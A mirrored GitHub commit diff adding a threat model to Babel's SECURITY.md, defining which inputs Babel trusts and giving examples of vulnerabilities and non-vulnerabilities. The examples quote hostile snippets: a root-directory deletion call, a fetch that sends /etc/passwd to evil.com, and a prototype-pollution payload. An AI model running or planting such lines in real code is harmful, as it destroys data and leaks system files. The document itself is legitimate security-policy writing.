mirror of
https://github.com/hanzoai/babel.git
synced 2026-09-24 16:56:45 +00:00
Add threat model to SECURITY.md (#17977)
Co-authored-by: Brian Ng <[email protected]> Co-authored-by: Huáng Jùnliàng <[email protected]>
This commit is contained in:
committed by
GitHub
co-authored by
Brian Ng
Huáng Jùnliàng
parent
138850b54a
commit
048bfc7810
+49
-1
@@ -17,12 +17,60 @@ Note that for each supported major version, we only guarantee security fixes for
|
||||
|
||||
## Reporting a Vulnerability
|
||||
|
||||
To report a vulnerability please send an email with the details to security@babeljs.io. The vulnerability report must include a proof-of-concept of the exploit, or at least a few pointers that can help us assess the risk level.
|
||||
To report a vulnerability please send an email with the details to security@babeljs.io. The vulnerability report must include a proof-of-concept of the exploit, or at least a few pointers that can help us assess the risk level. The vulnerability report must be written in English.
|
||||
|
||||
### Disclosure process
|
||||
|
||||
Once we assess the risk level, we will work together with the reporter on a patch. As soon as the patch is released, we will coordinate together with the reporter and potential significant stakeholders (such as big frameworks that use Babel and are affected, or [Tidelift](https://tidelift.com/) for packages enrolled in their system) on the best disclosure timeline.
|
||||
|
||||
## Threat model
|
||||
|
||||
In the Babel threat model, there are trusted elements such as the JavaScript runtime that runs Babel (e.g. Node.js), the JavaScript runtime that runs Babel's output (e.g. a browser), configuration files and third-party Babel plugins. Vulnerabilities that require the compromise of these trusted elements are outside the scope of the Babel threat model.
|
||||
|
||||
Babel does **not trust**:
|
||||
- the input code to be compiled
|
||||
- the input source map
|
||||
|
||||
Note that Babel configuration files and third-party plugins can result in arbitrary code execution: Babel consumers should not pass arbitrary plugins and configuration files to Babel without taking the appropriate measures needed to run untrusted code.
|
||||
|
||||
### What constitutes a vulnerability
|
||||
|
||||
Being able to cause the following through control of the elements that Babel does not trust is considered a vulnerability:
|
||||
- _In the system that Babel itself runs in_
|
||||
- Disclosure or loss of integrity or confidentiality of data
|
||||
- _In the system that output code generated by Babel runs in_
|
||||
- Any side effect or availability loss or performance degradation, other than what's expected according to the documented behavior of the language features used in the input code provided to Babel
|
||||
|
||||
The documented behavior of language features is defined by the corresponding specification (e.g. ECMA-262), by a proposal that changes the specification (e.g. proposals for new JavaScript features), or, when neither is available, by the behavior of other tools in the same space. Babel assumes that all built-ins defined by such specifications have not been modified.
|
||||
|
||||
Babel's threat model does not consider availability loss or performance degradation in the system that Babel itself runs in to be a security issue. Users passing arbitrary code as input to Babel should take the appropriate measures to handle resource exhaustion caused by the transpilation process, such as by running Babel in a separate Node.js worker than can be terminated independently from the rest of the application.
|
||||
|
||||
#### Examples of what constitutes a vulnerability
|
||||
|
||||
> **Data integrity loss in the system that Babel itself runs in**
|
||||
>
|
||||
> Running Babel in Node.js to compile the code `String({ toString: new Function('require("fs").rmdirSync("/")') })` causes Babel to, while compiling, execute `require("fs").rmdirSync("/")`
|
||||
|
||||
> **A side effect, other than what's expected according the documented behavior of the input code, in the system that the output code generated by Babel runs in**
|
||||
>
|
||||
> Babel's output code for the input ``var payload = ""; fetch(`//evil.com/?payload=${payload}`);`` is ``var payload = require("fs").readFileSync("/etc/passwd"); fetch(`//evil.com/?payload=${payload}`);``
|
||||
|
||||
#### Examples of what does not constitute a vulnerability
|
||||
|
||||
> **A third-party plugin passing untrusted input to a Babel API causing prototype pollution**
|
||||
>
|
||||
> When a Babel plugin uses `@babel/traverse` by doing `traverse.visitors.merge([ { ["__proto__"]: { polluted: true } } ])`, Babel defines `Object.prototype.polluted = true` in the Node.js process in which it's running.
|
||||
|
||||
> **Availability loss due to passing excessively complex input to Babel**
|
||||
>
|
||||
> When using Babel to compile a 20 MB JavaScript file, the Node.js process becomes unresponsive for 30 seconds.
|
||||
>
|
||||
> When using Babel to parse JavaScirpt code with 1000 nested function calls (`fn(fn(fn(fn(...))))`), Node.js throws a `Maximum call stack size exceeded` error.
|
||||
|
||||
> **Babel's output code calls a function that the input code did not call, due to a JavaScript built-in being patched**
|
||||
>
|
||||
> Babel's output code for the input `Array.prototype.concat = doEvil; [...arr1, arr2];` is `Array.prototype.concat.call(arr1, arr2);`, causing `doEvil` to run.
|
||||
|
||||
### Vulnerabilities in Babel's dependencies
|
||||
|
||||
If you receive a security warning relative to a dependency of Babel, before reporting it to us please make sure that at least one of the following is true:
|
||||
|
||||
Reference in New Issue
Block a user